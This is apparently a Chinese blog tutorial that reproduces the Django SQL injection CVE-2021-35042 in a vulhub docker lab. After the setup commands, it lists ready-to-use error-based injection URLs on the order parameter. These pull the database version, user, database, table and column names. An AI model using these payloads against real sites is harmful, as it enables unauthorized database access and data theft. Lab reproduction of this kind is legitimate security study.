Python 框架安全:Django SQL注入漏洞测试.(CVE-2021-35042)

什么是 Django 框架

Django 是一个用 Python 编写的 Web 应用程序框架。它提供了许多工具和库,使得开发 Web 应用程序变得更加容易和高效。Django 遵循了"MTV"(模型-模板-视图)的设计模式,将应用程序的不同组件分离开来,使得开发人员可以更加专注于应用程序的不同方面。Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。


目录:

[什么是 Django 框架](#什么是 Django 框架)

[开启 漏洞 靶场:](#开启 漏洞 靶场:)

(1)查看目录:

[(2)启用 vulhub 漏洞:](#(2)启用 vulhub 漏洞:)

[(3)进行浏览:主机的 8000 端口.](#(3)进行浏览:主机的 8000 端口.)

[进行 漏洞 测试:](#进行 漏洞 测试:)

[(1)寻找 URL 有输入点的地方就行:](#(1)寻找 URL 有输入点的地方就行:)

(2)构造报错注入进行攻击获取数据:(查询根目录信息)

(3)构造报错注入进行攻击获取数据:(查询数据库版本信息)

(4)构造报错注入进行攻击获取数据:(查当前用户)

(5)构造报错注入进行攻击获取数据:(查当前数据库)

(6)构造报错注入进行攻击获取数据:(查表)

(7)构造报错注入进行攻击获取数据:(查字段)


开启 漏洞 靶场:

Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客


(1)查看目录:

复制代码
(1)cd vulhub
 
(2)ls


(2)启用 vulhub 漏洞:

复制代码
(1)cd django             // 切换到对应的漏洞目录.
 
(2)cd CVE-2021-35042              // 切换到对应的漏洞版本.

(3)docker-compose build           // 建立容器

(4)docker-compose up -d           // 启用漏洞环境.

(5)docker ps                      // 查看环境运行状态


(3)进行浏览:主机的 8000 端口.


进行 漏洞 测试:

(1)寻找 URL 有输入点的地方就行:

复制代码
例如:

http://172.16.10.19:8000//vuln/?order=后面就是写SQL语句的查询.

(2)构造报错注入进行攻击获取数据:(查询根目录信息)

复制代码
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23

(3)构造报错注入进行攻击获取数据:(查询数据库版本信息)

复制代码
/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

(4)构造报错注入进行攻击获取数据:(查当前用户)

复制代码
http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20user%28%29%29%29,1%29%23

(5)构造报错注入进行攻击获取数据:(查当前数据库)

复制代码
http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20database%28%29%29%29,1%29%23

(6)构造报错注入进行攻击获取数据:(查表)

复制代码
http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema=database%28%29%29%29,1%29%23


(7)构造报错注入进行攻击获取数据:(查字段)

复制代码
http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,concat%280x5c,%28select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1%29,0x5c%29,1%29%23
相关推荐
love you joyfully10 分钟前
如何随时随地访问你的“进程”?
网络·人工智能·网络安全·远程访问·网络技术
yyuuuzz17 分钟前
aws 基础认知与实践注意点
运维·服务器·网络·云计算·github·aws
ATCH IERV37 分钟前
Java实战:Spring Boot application.yml配置文件详解
java·网络·spring boot
爱滑雪的码农1 小时前
Java基础十一 流(Stream)、文件(File)和IO
java·开发语言·python
knight_9___1 小时前
LLM工具调用面试篇5
人工智能·python·深度学习·面试·职场和发展·llm·agent
锅挤1 小时前
计算机网络复习(第五章):传输层
网络·计算机网络
mounter6251 小时前
深入理解 Linux 网络新特性:netkit 中的 RX/TX Queue Leasing 与 TCP Devmem
linux·服务器·网络·tcp/ip·kernel
小学生-山海1 小时前
YOLO火焰/烟雾检测系统
python·yolo
浔川python社1 小时前
浔川社团第一次福利数据公布
人工智能·python·deepseek
空中海2 小时前
02. 静态逆向、Manifest 分析与 Smali 重打包
服务器·网络·windows